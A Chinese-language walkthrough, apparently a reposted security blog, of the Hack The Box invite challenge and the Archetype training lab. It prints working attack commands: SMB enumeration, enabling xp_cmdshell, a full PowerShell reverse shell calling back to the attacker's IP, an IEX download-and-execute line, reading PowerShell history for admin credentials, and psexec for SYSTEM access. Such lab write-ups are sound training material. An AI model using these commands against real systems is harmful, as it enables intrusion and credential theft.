HackTheBox(初)
2022-11-21 14:47:7 Author: 白帽子(查看原文) 阅读量:13 收藏

Hack The Box是一个在线平台,允许您测试您的渗透测试技能,并与其他类似兴趣的成员交流想法和方法。它包含一些不断更新的挑战。其中一些模拟真实场景,其中一些更倾向于CTF风格的挑战。
注册账号需要一个邀请码。

在有一天闲来无事时,在逛Parrot官网时,发现HacktheBox和parrot合作了,就访问了一下Hackthebox的官网,发现需要注册,本着没事闲的理论,就开始了。

访问官网,点击登录,发现需要提交一个邀请码才可以注册。

根据页面提示,应该是从该登录页面中寻找相关内容。

首先查看js代码,发现其中有一个api接口,点击查看。

发现提示,存在混淆。

发现一个函数,在页面中执行此函数查看效果。

发现回显了rot13的加密字符串,使用rot13进行解密,尝试发现,有时为base64,有时为rot13。

解密后得到
In order to generate the invite code,
make a POST request to /api/invite/generate。

使用hackbar或者其他工具发送POST包。

得到加密后的邀请码

进行解码

得到邀请码。

进行注册登录。

登录之后发现存在一个练习教程,尝试练习。

发现首先需要使用openvpn进行连接,接入靶机内网环境。

官方推荐的是使用kali或者parrot系统进行攻击,因为集成了各种工具。

我这里使用的是kali,根据官方说明,需要使用openvpn进行连接。

使用

sudo openvpn example.ovpn

进行执行,其中example.ovpn为登录后下载的文件名称。

运行后,查看攻击机ip,发现多了一张网卡,已连接到服务器。

使用nmap进行扫描。

nmap -sC -sV -p 1-65535 -v 3 10.10.10.27

发现445、1433端口打开了,并且SMB与SQL Server相关联。

然后去查看一下文件共享目录是否开启,并且是否存在敏感信息。

使用

smbclient -N -L \\\\10.10.10.27\\

发现存在一个backups,进行查看一下是否存在敏感信息。

smbclient -N \\\\10.10.10.27\\backups

发现存在有一个dtsConfig文件,它是与SSIS一起使用的配置文件。

下载查看文件内容。

get prod.dtsConfig

发现其中包含一个SQL连接字符串,其中包含本地Windows用户的凭据ARCHETYPE\sql_svc。

接下来尝试使用impacket(Impacket是用于网络协议的Python类的集合。Impacket专注于提供对数据包的低级编程访问,并且对于某些协议(例如SMB1-3和MSRPC),协议实现本身。数据包可以从头开始构建,也可以从原始数据中进行解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在该库的上下文中可以完成的操作的示例。)中的mssqlclient.py连接到目标的SQL Server。

mssqlclient.py ARCHETYPE/[email protected] -windows-auth

输入刚刚文件中的用户密码。

我们可以使用该IS_SRVROLEMEMBER函数显示当前SQL用户在SQL Server上是否具有sysadmin(最高级别)特权。

SELECT IS_SRVROLEMEMBER('sysadmin');


发现回显为1,证明具有sysadmin特权。

输入命令xp_cmdshell在主机上启用并获得RCE。

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"


发现该用户并不是管理权限。

可以尝试获得适当的外壳,然后继续进一步枚举系统。将PowerShell反向外壳另存为shell.ps1。

 $client = New-Object System.Net.Sockets.TCPClient("10.10.14.82",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

其中10.10.14.82为自己攻击机ip。

接下来,可以使用Python搭建一个小型网络服务器以托管文件。

在端口443上建立一个netcat侦听器后,我们可以使用ufw允许端口80和443上的回调到攻击机。

 nc -lvnp 443
ufw allow from 10.10.10.27 proto tcp to any port 80,443

接下来通过xp_cmdshell下载并执行反向Shell。

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.82/shell.ps1\");"

搭建的文件服务器收到下载请求。

并收到shell。
收到的外壳程序为sql_svc,可以在其桌面上获取user.txt。

由于这既是普通用户帐户又是服务帐户,因此可以检查频繁访问的文件或已执行的命令。可以使用下面的命令访问PowerShell历史记录文件。

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

这表明该backups驱动器已使用本地管理员凭据进行了映射。我们可以使用Impacket psexec.py来获得特权外壳。

psexec.py [email protected]

其中密码为刚刚获取凭证的密码。

接下来获取system用户目录下,获取system.txt即可。

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

我知道你在看


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246429&idx=2&sn=97e7bb0bdb8cf08524332195ecb4dee4&chksm=82ea56b4b59ddfa242ed600d85be66aa14b73226616c2c297373369f38097685c90c96bee55f#rd
如有侵权请联系:admin#unsafe.sh